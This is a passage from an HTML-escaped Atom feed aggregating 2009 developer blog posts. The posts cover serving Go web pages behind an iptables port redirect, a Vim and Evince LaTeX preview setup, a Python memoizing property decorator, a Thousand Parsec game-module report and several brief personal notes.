&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; panic&lt;span class=&quot;br0&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&amp;quot;ListenAndServe: &amp;quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; err.&lt;span class=&quot;kw4&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;&amp;#41;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;br0&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;The salient points are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;http.Handle()&lt;/li&gt;
&lt;li&gt;func HelloServer()&lt;/li&gt;
&lt;li&gt;http.ListenAndServe()&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;http.Handle()&lt;/em&gt; adds a pattern and Handler to the default ServeMux. HandlerFunc() adapts HelloServer to make a Handler.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;func HelloServer()&lt;/em&gt; receives the connection resource and the HTTP request. All it does in the example is send back the &quot;hello, world&quot; text. It could do a lot more with just http package:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;checked req.Method to see the request method&lt;/li&gt;
&lt;li&gt;set custom headers with c.SetHeader()&lt;/li&gt;
&lt;li&gt;serve a file with http.ServeFile()&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;http.ListenAndServe()&lt;/em&gt; starts the server. The &quot;:12345&quot; in the example is the ip address and port that it will listen on. If you want to keep your server private you can listen only on 127.0.0.1:80. Note that starting the server on a port under 1024 requires root privilege. Also, if you already have a webserver running on the same machine then it's probably on port 80 so your Go experiment has to use a different port number.&lt;/p&gt;
&lt;p&gt;So what if you get your application running but it's  on port 19000 and you want it to show up at port 80? There are a couple ways to do that but the one I like is using the firewall to send incoming traffic for port 80 to port 19000. On APF just add this rule at the end of /etc/apf/postroute.rules.&lt;/p&gt;
&lt;p&gt;&lt;div class=&quot;geshifilter&quot;&gt;&lt;div class=&quot;bash geshifilter-bash&quot;&gt;&lt;span class=&quot;re1&quot;&gt;$IPT&lt;/span&gt; &lt;span class=&quot;re5&quot;&gt;-t&lt;/span&gt; nat &lt;span class=&quot;re5&quot;&gt;-A&lt;/span&gt; PREROUTING &lt;span class=&quot;re5&quot;&gt;-p&lt;/span&gt; tcp &lt;span class=&quot;re5&quot;&gt;--dport&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;80&lt;/span&gt; &lt;span class=&quot;re5&quot;&gt;-j&lt;/span&gt; REDIRECT &lt;span class=&quot;re5&quot;&gt;--to-ports&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;19000&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;You'll also need to find IG_TCP_CPORTS in /etc/apf/conf.apf and add your port (19000 for example) to that list. This allows TCP traffic in on the given port (Updated 2009-11-16:13:51:00EDT).&lt;/p&gt;
&lt;p&gt;This should be easy to adapt to other firewalls based on iptables (replace $IPT with the path to your own iptables, like /sbin/iptables). Then restart APF with&lt;/p&gt;
&lt;p&gt;&lt;div class=&quot;geshifilter&quot;&gt;&lt;div class=&quot;bash geshifilter-bash&quot;&gt;&lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;etc&lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;init.d&lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;apf restart&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
As an aside, /etc/apf/conf.apf has a DEVEL_MODE flag to help keep you from locking yourself out when monkeying with the firewall.&lt;/p&gt;
&lt;p&gt;So that's all there is to it. Now I've got a Go application serving pages from my VPS on port 80, running as a non-privileged user. Go is still not a mature language so there are bound to be security holes and bugs here but testing has to happen somewhere. Slicehost makes it easy to rebuild the slice when something bad happens to it and keeping my code in Mercurial makes it quick for me to restore. Not a bad way to beta test in my opinion.&lt;/p&gt;
&lt;p&gt;Oh and if you want to look at more code for actually serving pages, there's some in the &lt;a href=&quot;http://code.google.com/p/goplot/source/browse/goplot.go#19&quot;&gt;current source for GoPlot&lt;/a&gt;.&lt;/p&gt;</content>
		<author>
			<name>Rob Russell</name>
			<uri>http://www.latenightpc.com</uri>
		</author>
		<source>
			<title type="html">Late Night PC</title>
			<link rel="self" href="http://www.latenightpc.com/rss.xml"/>
			<id>http://www.latenightpc.com/rss.xml</id>
			<updated>2010-09-07T19:00:03+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">LaTeX Preview with Vim and Evince</title>
		<link href="http://blog.mavrinac.com/2009/11/latex-preview-with-vim-and-evince/"/>
		<id>http://mavrinac.com/blog/?p=85</id>
		<updated>2009-11-15T12:22:00+00:00</updated>
		<content type="html">&lt;p&gt;During a conversation (and a game of Scrabble) at the Google Summer of Code &lt;a href=&quot;http://google-opensource.blogspot.com/2009/10/google-summer-of-code-mentor-summit.html&quot;&gt;mentor summit&lt;/a&gt;, it came up that a few of us were &lt;a href=&quot;http://en.wikipedia.org/wiki/LaTeX&quot;&gt;LaTeX&lt;/a&gt; users, and we talked briefly about how it would be nice if there were some way to get a real-time preview the final document while editing in &lt;a href=&quot;http://www.vim.org&quot;&gt;Vim&lt;/a&gt;. Here&amp;#8217;s my solution.&lt;/p&gt;
&lt;p&gt;I use &lt;a href=&quot;http://en.wikipedia.org/wiki/Make_(software)&quot;&gt;make&lt;/a&gt; to build PDFs of my LaTeX files. A typical makefile looks like this:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;make&quot;&gt;LATEX&lt;span&gt;=&lt;/span&gt; latex
DVIPS&lt;span&gt;=&lt;/span&gt; dvips &lt;span&gt;-&lt;/span&gt;j0 &lt;span&gt;-&lt;/span&gt;Ppdf &lt;span&gt;-&lt;/span&gt;u ps2pk&lt;span&gt;.&lt;/span&gt;map &lt;span&gt;-&lt;/span&gt;G0 &lt;span&gt;-&lt;/span&gt;t letter &lt;span&gt;-&lt;/span&gt;D &lt;span&gt;1200&lt;/span&gt; &lt;span&gt;-&lt;/span&gt;Z &lt;span&gt;-&lt;/span&gt;mode ljfzzz
PS2PDF&lt;span&gt;=&lt;/span&gt; ps2pdf &lt;span&gt;-&lt;/span&gt;dEmbedAllFonts&lt;span&gt;=&lt;/span&gt;true &lt;span&gt;-&lt;/span&gt;dSubsetFonts&lt;span&gt;=&lt;/span&gt;true
&amp;nbsp;
NAME&lt;span&gt;=&lt;/span&gt; foo
FIGURES&lt;span&gt;=&lt;/span&gt; images&lt;span&gt;/*.&lt;/span&gt;eps
&amp;nbsp;
all&lt;span&gt;:&lt;/span&gt; &lt;span&gt;$&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;NAME&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;pdf
&amp;nbsp;
&lt;span&gt;$&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;NAME&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;pdf&lt;span&gt;:&lt;/span&gt; &lt;span&gt;$&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;NAME&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;ps
    &lt;span&gt;$&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;PS2PDF&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;$&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;NAME&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;ps &lt;span&gt;$&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;NAME&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;pdf
&amp;nbsp;
&lt;span&gt;$&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;NAME&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;ps&lt;span&gt;:&lt;/span&gt; &lt;span&gt;$&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;NAME&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;dvi
    &lt;span&gt;$&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;DVIPS&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;-&lt;/span&gt;o &lt;span&gt;$&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;NAME&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;ps &lt;span&gt;$&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;NAME&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;dvi
&amp;nbsp;
&lt;span&gt;$&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;NAME&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;dvi&lt;span&gt;:&lt;/span&gt; &lt;span&gt;$&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;NAME&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;tex &lt;span&gt;$&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;FIGURES&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
    &lt;span&gt;$&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;LATEX&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;$&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;NAME&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;tex&lt;span&gt;;&lt;/span&gt; &lt;span&gt;$&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;LATEX&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;$&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;NAME&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;tex
&amp;nbsp;
clean&lt;span&gt;:&lt;/span&gt;
    rm &lt;span&gt;-&lt;/span&gt;f &lt;span&gt;*.&lt;/span&gt;dvi &lt;span&gt;*.&lt;/span&gt;ps &lt;span&gt;*.&lt;/span&gt;pdf &lt;span&gt;*.&lt;/span&gt;aux &lt;span&gt;*.&lt;/span&gt;log &lt;span&gt;*.&lt;/span&gt;lof &lt;span&gt;*.&lt;/span&gt;lot &lt;span&gt;*.&lt;/span&gt;toc&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Knowing that &lt;a href=&quot;http://www.gnome.org/projects/evince/&quot;&gt;Evince&lt;/a&gt; updates its view automagically when a file changes, I just added a post-write hook to my &lt;code&gt;~/.vimrc&lt;/code&gt; to run make:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;vim&quot;&gt;&lt;span&gt;autocmd&lt;/span&gt; BufWritePost,FileWritePost &lt;span&gt;*.&lt;/span&gt;tex &lt;span&gt;!&lt;/span&gt;make&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, whenever I write the file out, my Evince window updates with the latest output.&lt;/p&gt;
&lt;p&gt;I haven&amp;#8217;t yet checked out &lt;a href=&quot;http://www.phys.psu.edu/~collins/software/latexmk-jcc/&quot;&gt;Latexmk&lt;/a&gt;, which can supposedly effect similar results, and save me the trouble of maintaining a makefile to boot.&lt;/p&gt;</content>
		<author>
			<name>Aaron Mavrinac</name>
			<uri>http://blog.mavrinac.com</uri>
		</author>
		<source>
			<title type="html">Aaron Mavrinac</title>
			<subtitle type="html">Your reality, sir, is lies and balderdash and I'm delighted to say that I have no grasp of it whatsoever.</subtitle>
			<link rel="self" href="http://blog.mavrinac.com/feed/"/>
			<id>http://blog.mavrinac.com/feed/</id>
			<updated>2010-06-28T14:00:30+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Go Plot Go</title>
		<link href="http://www.latenightpc.com/blog/archives/2009/11/12/go-plot-go"/>
		<id>http://www.latenightpc.com/65636 at http://www.latenightpc.com</id>
		<updated>2009-11-12T06:23:50+00:00</updated>
		<content type="html">&lt;p&gt;&lt;/p&gt;&lt;p&gt;It's been &lt;a href=&quot;http://www.latenightpc.com/blog/archives/2009/11/10/making-tags&quot;&gt;a couple days&lt;/a&gt; since I created a project on Google Code, so here's another one. Seriously though, Google released &lt;a href=&quot;http://golang.org/&quot;&gt;the Go programming language&lt;/a&gt; yesterday. It's intended as a systems programming language for projects that could be done in C or C++. All I saw was &lt;a href=&quot;http://www.youtube.com/watch?v=wwoWei-GAPo&quot;&gt;a short video&lt;/a&gt; showing off the quick compile time. I like compiled code for serious applications and I truly believe that fast compile times make a big difference in programmer satisfaction (which varies directly with productivity). If you more convincing on why fast builds are important have a listen to the &lt;a href=&quot;http://blog.stackoverflow.com/2009/03/podcast-47/&quot;&gt;Stack Overflow podcast #47&lt;/a&gt; (the bit about SSDs - solid state hard drives).&lt;/p&gt;
&lt;p&gt;Anyhow, back to my project. I installed Go on an Ubuntu VM and ran through some demos. I like a lot of what I've seen so far. The language encourages error-checking. Unreferenced variables are considered an error. Pointers are there but pointer arithmetic is out. It seems like the language does things that are meant to keep you from hurting yourself (like bounds-checking) but the rules are done in a way that doesn't take away from your ability to get work done. I have yet to get in to any of the concurrent code features of Go, but there are some applications I have in mind.&lt;/p&gt;
&lt;p&gt;After trying out the examples, I wrote a simple program in Go to plot some data points supplied in a file. The plotting is really done by SVG. In my very primitive code, all I do is read in data points, one x &amp;amp; y per line, and use them to create a single SVG path element. You can see the sample input &amp;amp; output files, along with all the rest of my code, in the &lt;a href=&quot;http://code.google.com/p/goplot/source/browse/&quot;&gt;GoPlot project&lt;/a&gt;. Fork and enjoy :)&lt;/p&gt;</content>
		<author>
			<name>Rob Russell</name>
			<uri>http://www.latenightpc.com</uri>
		</author>
		<source>
			<title type="html">Late Night PC</title>
			<link rel="self" href="http://www.latenightpc.com/rss.xml"/>
			<id>http://www.latenightpc.com/rss.xml</id>
			<updated>2010-09-07T19:00:03+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Apache 2.2.14 and mod_proxy_scgi</title>
		<link href="http://blog.free.draisey.ca/node/96"/>
		<id>http://blog.free.draisey.ca/96 at http://blog.free.draisey.ca</id>
		<updated>2009-11-07T19:04:53+00:00</updated>
		<content type="html">&lt;p&gt;Woo Hoo.  Happy days are here again.&lt;/p&gt;
&lt;p&gt;Eat cake = Have cake&lt;/p&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2010-09-07T19:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">The planet really doesn't want to let go</title>
		<link href="http://blog.free.draisey.ca/node/95"/>
		<id>http://blog.free.draisey.ca/95 at http://blog.free.draisey.ca</id>
		<updated>2009-11-02T03:27:13+00:00</updated>
		<content type="html">&lt;p&gt;So this is just another post to see if I tickle the planet enough it will delete my old post.  It is well past its prime.&lt;/p&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2010-09-07T19:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Watch Out Who You Poke?</title>
		<link href="http://www.allthingsexpounded.com/2009/10/watch-out-who-you-poke/"/>
		<id>http://www.allthingsexpounded.com/?p=1041</id>
		<updated>2009-10-17T11:25:40+00:00</updated>
		<content type="html">&lt;p&gt;What is this world coming to? A Tennesse woman &lt;a href=&quot;http://abcnews.go.com/Technology/AheadoftheCurve/tennessee-woman-arrested-facebook-poke/story?id=8807685&quot;&gt;was arrested for doing a Facebook &amp;#8220;poke&amp;#8221;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;According to the news article, &amp;#8220;According to an affidavit filed with the Sumner County General Sessions Court on Sept. 25, Shannon D. Jackson of Hendersonville, Tenn., allegedly violated a legal order of protection that had been previously filed against her when she sent a virtual &amp;#8220;poke&amp;#8221; to another woman on Facebook&amp;#8221;.&lt;/p&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<subtitle type="html">A verbose experiment in blogness (if you want to deride it, call it AllThingsConfounded).</subtitle>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2010-08-09T17:00:03+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Waiting for Thewuug</title>
		<link href="http://blog.free.draisey.ca/node/94"/>
		<id>http://blog.free.draisey.ca/94 at http://blog.free.draisey.ca</id>
		<updated>2009-10-02T00:48:33+00:00</updated>
		<content type="html">&lt;p&gt;It appears the only way to delete a planet post is to overwrite the original with a new post in its stead.  I wrote a silly little thing to be up for a day, and expected it to disappear from the planet when I nuked the original post.  But the planet doesn't work that way and preserves the old stuff in perpetuity unless you edit the original and push it out in your feed.  OK.  I know now.  Don't post silly ephemeral posts as they will soon look ridiculous.&lt;/p&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2010-09-07T19:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Moblin 2.1 on my Acer Aspire One</title>
		<link href="http://blog.free.draisey.ca/node/93"/>
		<id>http://blog.free.draisey.ca/93 at http://blog.free.draisey.ca</id>
		<updated>2009-09-26T05:00:28+00:00</updated>
		<content type="html">&lt;p&gt;Yup, it installed easily and seems to work quite well.  Supports the Aspire One hardware directly without configuration which is very nice,  The moblin web browser isn&amp;#039;t ready for use yet but firefox was easily installed through the moblin garage and it runs well (though it calls itself Shiretoko?).  It is nice to finally be using an up to date browser on my AA1.&lt;/p&gt;
&lt;p&gt;I haven&amp;#039;t figured out the keyboard shortcuts yet, so I am mousing (or rather trackpadding) more than is comfortable.&lt;/p&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2010-09-07T19:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Copyright Consultation</title>
		<link href="http://blog.free.draisey.ca/node/92"/>
		<id>http://blog.free.draisey.ca/92 at http://blog.free.draisey.ca</id>
		<updated>2009-09-14T03:07:55+00:00</updated>
		<content type="html">&lt;p&gt;So I sent in my email in response to the government's copyright consultation which in essence said &lt;i&gt;please don't do anything!&lt;/i&gt;&lt;/p&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2010-09-07T19:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">GSoC/TP Final Report</title>
		<link href="http://alanp.ca/blog/2009/08/23/gsoctp-final-report/"/>
		<id>http://alanp.ca/blog/?p=119</id>
		<updated>2009-08-24T03:05:58+00:00</updated>
		<content type="html">&lt;p&gt;It looks as if all features have been implemented in MTSec.  Since my last post I have done some cleaning up of the code, and it is much more presentable now.&lt;/p&gt;
&lt;p&gt;All features are currently supported, this includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Building Ships&lt;/li&gt;
&lt;li&gt;Building Weapons&lt;/li&gt;
&lt;li&gt;Production Capability&lt;/li&gt;
&lt;li&gt;Enhancement of Production Points&lt;/li&gt;
&lt;li&gt;Sending of Production Points to Another Planet&lt;/li&gt;
&lt;li&gt;Merging Fleets, Splitting Fleets&lt;/li&gt;
&lt;li&gt;Colonising a Planet&lt;/li&gt;
&lt;li&gt;Loading / Unloading of Armaments&lt;/li&gt;
&lt;li&gt;Combat&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For a more detailed description of each feature, you can visit the &lt;a href=&quot;http://www.thousandparsec.net/wiki/MTSec&quot;&gt;MTSec Wiki&lt;/a&gt;.  I will still be keeping up with MTSec development post-GSoC period and hope to iron out any bugs that have been found.  For example today I found that Aaron&amp;#8217;s compiler was giving no newline errors, but mine was not.  With a simple bash for loop, this has been fixed and committed.&lt;/p&gt;
&lt;p&gt;Testing each feature is pretty self explanitory but I will go over a test scenario:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;On the first turn, the &amp;#8220;Build Fleet&amp;#8221; order is a good one to try.  You can either use the design window in the TP04 client or use one of the predefined designs.&lt;/li&gt;
&lt;li&gt;On the second turn, it is useful to build some sort of weapon.  As with the build ships order, you can either pick from a predefined design or create your own.  Right now I have the mining requirements off so that we can test a bit easier.  You can create more than one weapon here which will be useful for testing.  Please note that you can only Design Weaponry using the &lt;a href=&quot;http://git.thousandparsec.net/gitweb/gitweb.cgi?p=tpclient-pywx.git;a=shortlog;h=refs/heads/tp04&quot;&gt;TP04 pywx client &lt;/a&gt;(make sure you select the Weapons Category!)&lt;/li&gt;
&lt;li&gt;Now that you have (a) fleet(s),  and weaponry, it is useful to use the &amp;#8220;Load Armament&amp;#8221; order here to load the weaponry onto your ship.&lt;/li&gt;
&lt;li&gt;Move to another planet.&lt;/li&gt;
&lt;li&gt;Colonise the planet you moved to.&lt;/li&gt;
&lt;li&gt;Unload some weaponry here.&lt;/li&gt;
&lt;li&gt;Here you can test the enhance order.&lt;/li&gt;
&lt;li&gt;Test the &amp;#8220;Send Points&amp;#8221; order by sending some of your production points to another planet.&lt;/li&gt;
&lt;li&gt;Move towards another player&amp;#8217;s planet/fleet.  This will initiate Combat&lt;/li&gt;
&lt;li&gt;Success.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you find any problems in this test scenario, please notify me immediately.  Please note that some of the features above require&lt;a href=&quot;http://git.thousandparsec.net/gitweb/gitweb.cgi?p=tpclient-pywx.git;a=shortlog;h=refs/heads/tp04&quot;&gt; Greywhind&amp;#8217;s TP04 pywx client.&lt;/a&gt; My mentor Aaron and I will be playing some test games over the next week, and I&amp;#8217;m sure we will uncover some things that I will need to fix.&lt;/p&gt;
&lt;p&gt;That&amp;#8217;s about it for MTSec, hopefully we can get it pushed into the master branch and make it the default game of Thousand Parsec soon!&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;a2a_dd addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Falanp.ca%2Fblog%2F2009%2F08%2F23%2Fgsoctp-final-report%2F&amp;amp;linkname=GSoC%2FTP%20Final%20Report&quot;&gt;&lt;img src=&quot;http://alanp.ca/blog/wp-content/plugins/add-to-any/share_save_171_16.png&quot; width=&quot;171&quot; height=&quot;16&quot; alt=&quot;Share/Bookmark&quot; /&gt;&lt;/a&gt; &lt;/p&gt;</content>
		<author>
			<name>Alan P. Laudicina</name>
			<uri>http://alanp.ca/blog</uri>
		</author>
		<source>
			<title type="html">alanp.ca : blog</title>
			<subtitle type="html">The world, according to alanp</subtitle>
			<link rel="self" href="http://alanp.ca/blog/feed/"/>
			<id>http://alanp.ca/blog/feed/</id>
			<updated>2010-07-13T14:00:11+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Library Thing</title>
		<link href="http://blog.free.draisey.ca/node/91"/>
		<id>http://blog.free.draisey.ca/91 at http://blog.free.draisey.ca</id>
		<updated>2009-08-16T19:52:45+00:00</updated>
		<content type="html">&lt;p&gt;So on a boring and overly hot Sunday afternoon I logged into LibraryThing which I haven&amp;#039;t done for a very long time and it seems that &amp;lt;a href=&amp;quot;http://www.librarything.com/groups/windsorunixusersgrou&amp;quot;&amp;gt;the WUUG group there&amp;lt;/a&amp;gt; is as small as ever.  I remember uploading computer books in the hope we could swap books at our monthly meetings but it never seems to have taken off.  I am willing to loan any book here to WUUG members.&lt;/p&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2010-09-07T19:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">A simple python decorator</title>
		<link href="http://blog.free.draisey.ca/node/90"/>
		<id>http://blog.free.draisey.ca/90 at http://blog.free.draisey.ca</id>
		<updated>2009-08-04T18:40:58+00:00</updated>
		<content type="html">&lt;p&gt;Here is a very simple python function that requires no libraries, implements some of the deepest python magic and is still remarkably easy to understand:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
def memoize_property(f):
    &quot;&quot;&quot;A lightweight decorator that combines @property and memoization&quot;&quot;&quot;
    assert f.__name__
    class Memoize(object):
        # This class implements the non-data descriptor protocol
        # The computed value is memoized to the object instance thus
        # overriding the __get__ method on subsequent accesses
        def __get__(descriptor,instance,owner):
            value = f(instance)
            setattr(instance,f.__name__,value)
            return value
    return Memoize()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;It was designed to be used a decorator anywhere you might find yourself creating recursive defintiions:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
    @memoize_property
    def selections(self):
        return self.submodel.selections + self.extras
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Here I have a recursive definition which would needlessly waste clock cycles if it were implelemented using the @property decorator.  I really only need to calculate this once and then replace it with the calculated value, much as a spreadsheet would do.  (This is the kind of behavoiur you would get for free in Haskell --- maybe lazy_property or thunk_property would be a better name)&lt;/p&gt;

&lt;p&gt;Here's the same code but removing the class closure which I think clarifies the exposition but is actually unnecessary.  The class constructor is in itself the decorator&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
class memoize_property(object):
    &quot;&quot;&quot;A lightweight decorator that combines @property and memoization&quot;&quot;&quot;

    # The class constructor is used directly as a decorator
    
    # This class implements the non-data descriptor protocol
    # The computed value is memoized to the object instance thus
    # overriding the __get__ method on subsequent accesses

    def __init__(descriptor,f):
        assert f.__name__
        descriptor.f = f

    def __get__(descriptor,instance,owner):
        value = descriptor.f(instance)
        setattr(instance,descriptor.f.__name__,value)
        return value
&lt;/code&gt;&lt;/pre&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2010-09-07T19:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Google hosted Ajax Libraries</title>
		<link href="http://blog.free.draisey.ca/node/89"/>
		<id>http://blog.free.draisey.ca/89 at http://blog.free.draisey.ca</id>
		<updated>2009-06-15T14:51:02+00:00</updated>
		<content type="html">&lt;p&gt;Google hosts all the popular ajax libraries on their servers so you don't have to keep a copy on your own ajax enabled web site.&lt;/p&gt;
&lt;p&gt;See &lt;a href=&quot;http://code.google.com/apis/ajaxlibs/documentation/index.html&quot;&gt;http://code.google.com/apis/ajaxlibs/documentation/index.html&lt;/a&gt; for the following ajax Libraries:&lt;br /&gt;
    jQuery&lt;br /&gt;
    jQuery UI&lt;br /&gt;
    Prototype&lt;br /&gt;
    script_aculo_us&lt;br /&gt;
    MooTools&lt;br /&gt;
    Dojo&lt;br /&gt;
    SWFObjectNew!&lt;br /&gt;
    Yahoo! User Interface Library (YUI)New!&lt;br /&gt;
